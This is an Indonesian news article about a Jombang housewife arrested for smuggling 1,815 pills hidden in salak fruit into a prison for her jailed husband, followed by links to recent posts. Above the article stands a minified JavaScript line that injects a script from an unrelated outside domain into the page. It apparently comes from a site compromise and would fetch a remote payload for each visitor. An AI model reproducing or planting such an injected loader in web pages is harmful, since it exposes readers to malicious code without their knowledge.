(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Jawa Timur

Kirim Salak Isi 1.815 Pil Koplo ke Lapas, Ibu Rumah Tangga Diciduk di Rumah


KANALKALIMANTAN.COM – VN (33), nekat mengirimkan paket berupa salak berisi 1.815 butir pil koplo ke Lembaga Pemasyarakatan (Lapas) Jombang, Jawa Timur. Namun, aksinya itu tidak berjalan sesaui dengan harapannya.

Warga di Dusun Krandegan, Desa Kedungmlati, Kecamatan Kesamben, Jombang itu tidak lama lagi harus menyusul suaminya, Hermanto alias Baron, mendekam di balik jeruji besi. Pasalnya, polisi sudah menetapkan wanita kelahiran Nganjuk 10 November 1987 itu sebagai tersangka.

VN ditangkap di rumah orangtuanya di Kecamatan Ngronggot, Kabupaten Jombang, Senin (25/8/2020) sore.

Wanita berambut sebahu ini dijerat pasal 196 UU RI no 36 tahun 2009 tentang kesehatan Jo Pasal 53 KUHP.

“Selain menangkap VN, kami juga menyita sejumlah barang bukti,” ujar Kepala Satuan Reskoba Polres Jombang AKP M Mukid seperti dikutip dari Beritajatim.com – jaringan Suara.com, Rabu (26/8/2020).

Barang bukti itu di antaranya, satu buah kresek yang di dalamnya terdapat 9 kulit salak berisi 1.815 butir pil dobel L, kemudian tisu serta 32 biji buah salak.

Selain itu, polisi juga menyita satu lembar kertas pendaftaran penitipan barang, serta satu unit telepon pintar warna putih

Mukid menjelaskan, VN adalah seorang ibu rumah tangga. Setelah menikah dengan Hermanto, dia tinggal di Dusun Krandegan, yakni rumah sang suami. Meski sudah berumah tangga, namun Hermanto (36) masih bermain-main dengan narkoba.

Hingga akhirnya pada Senin (26/08/19) malam, pria berambut kriwul ini digulung polisi. Hermanto ditangkap di rumahnya. Dari tangannya, petugas menyita seberat 10,67 gram sabu-sabu yang disimpan dalam belasan plastik klip. Beratnya bervariasi, mulai dari 0,5 gram hingga 2 gram.

Polisi juga mengamankan dua buah handpohone, sebuah timbangan elektrik serta dua pak plastik klip kosong. Berkas kasus Hermanto kemudian menggelinding ke Kejaksaan. Dalam persidangan di PN (Pengadilan Negeri) Jombang, warga Kesamben ini divonis tujuh tahun penjara. Baron mendekam di Lapas Jombang. “Jadi dia baru setahun menjalani hukuman,” kata Mukid.

Sejak itu, VN kembali ke rumah orangtuanya di Ngronggot, Nganjuk. Meski mendekam di Lapas, ternyata Baron masih bisa berkomunikasi dengan sang istri. Pasalnya, di Lapas tersebut menyediakan fasilitas telepon atau wartel (warung telepon).

Dari situlah petaka bermula. Baron menghubungi VN. Dalam percakapan lewat ujung telepon, Baron meminta istrinya menemui seorang pria di area persawahan Kecamatan Diwek untuk mengambil titipan. VN menyanggupi permintaan itu.

Keesokan harinya, Senin (24/8/2020) pagi, VN berangkat dari rumahnya dengan mengendarai sepeda motor. Dari Ngronggot menuju Jombang. VN kemudian bertemu dengan seorang pria di persawahan. Pria misterius itu menitipkan satu plastik kresek warna hitam putih yang berisi salak. Usai menyerahkan buah itu, pria tersebut menghilang.

Sedangkan VN melanjutkan perjalanan menuju Lapas Jombang. Karena tidak boleh membesuk secara langsung, VN menitipkan paketan salak itu di pos penjagaan. Di plastik itu tertulis nama warga binaan yang hendak dikirimi paket buah, yakni Hermanto alias Baron. Nama VN berikut alamatnya sebagai pengirim juga tertera di kertas yang tertempel di kantung plastik itu. Usai menitipkan, VN balik kanan.

Sebelum meneruskan titipan ke sel yang dituju, petugas penjagaan melakukan pemeriksaan terlebih dulu. Nah, dari situlah penyelundupan itu terbongkar. Petugas melihat ada tisu warna putih yang menyembul dari dalam buah salak. Kecurigaan petugas semakin bertambah. Karena saat dipegang, buah salak sangat empuk.

Salak yang berjumlah 32 buah itu diperiksa. Kecurigaan petugas terbukti. Karena saat dipecah di dalam buah tersebut terdapat butiran pil koplo jenis dobel L. Pihak Lapas kemudian menghubungi Polres Jombang. VN yang sudah pulang, langsung diburu. Dia ditangkap di rumah orangtuanya.

Kepada polisi, VN mengaku mendapatkan upah Rp 200 ribu atas jasanya mengantar salak berisi pil koplo itu. Meski demikian, korps berseragam coklat tidak percaya begitu saja. Rencananya, seluruh pengakuan VN akan dikonfrontir ke Hermanto. “Dari situ akan diketahui siapa pria yang menyuplai 1.815 butir pil koplo ke Lapas Jombang,” ungkap Mukid. (suara.com)

Reporter : suara.com
Editor : kk

Al Ghifari

Recent Posts

Lomba Balogo Meriahkan Hari Jadi ke-72 Kabupaten HSU

KANALKALIMANTAN.COM, AMUNTAI - Lomba balogo meramaikan rangkaian Hari Jadi ke-72 Kabupaten Hulu Sungai Utara (HSU).… Read More

37 menit ago

Bupati Banjar Buka Sosialisasi dan Rakor Penyelenggaraan Administrasi Pemerintahan Desa

KANALKALIMANTAN.COM, MARTAPURA - Bupati Banjar H Saidi Mansyur membuka Sosialisasi dan Rapat Koordinasi (Rakor) Penyelenggaraan… Read More

1 jam ago

Dinas PUPR Berikan Pedoman Standar Penggunaan Air Minum dan Sanitasi bagi Masyarakat

KANALKALIMANTAN.COM, BANJARBARU - Setiap tahunnya, pemerintah daerah dan pusat berupaya untuk meningkatkan akses terhadap air… Read More

1 jam ago

Nobar Timnas di Balai Kota Banjarbaru Berizin Resmi Pemegang Hak Siar

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota Banjarbaru memfasilitasi masyarakat nonton bareng memberikan dukungan kepada Tim Nasional… Read More

1 jam ago

Dekranasda HSU Tawarkan Produk Kerajinan UMKM di Bazar MTQ

KANALKALIMANTAN.COM, RANTAU - Dinas Koperasi UKM Perindustrian dan Perdagangan (Diskoperindag) Kabupaten Hulu Sungai Utara (HSU)… Read More

2 jam ago

Tekan Angka Pernikahan Dini, Pemkab Banjar Sosialisasi ke Sejumlah Sekolah

KANALKALIMANTAN.COM, MARTAPURA -  Ketua TP PKK Kabupaten Banjar Hj Nurgita Tiyas menjadi pembina upacara, diikuti… Read More

2 jam ago

This website uses cookies.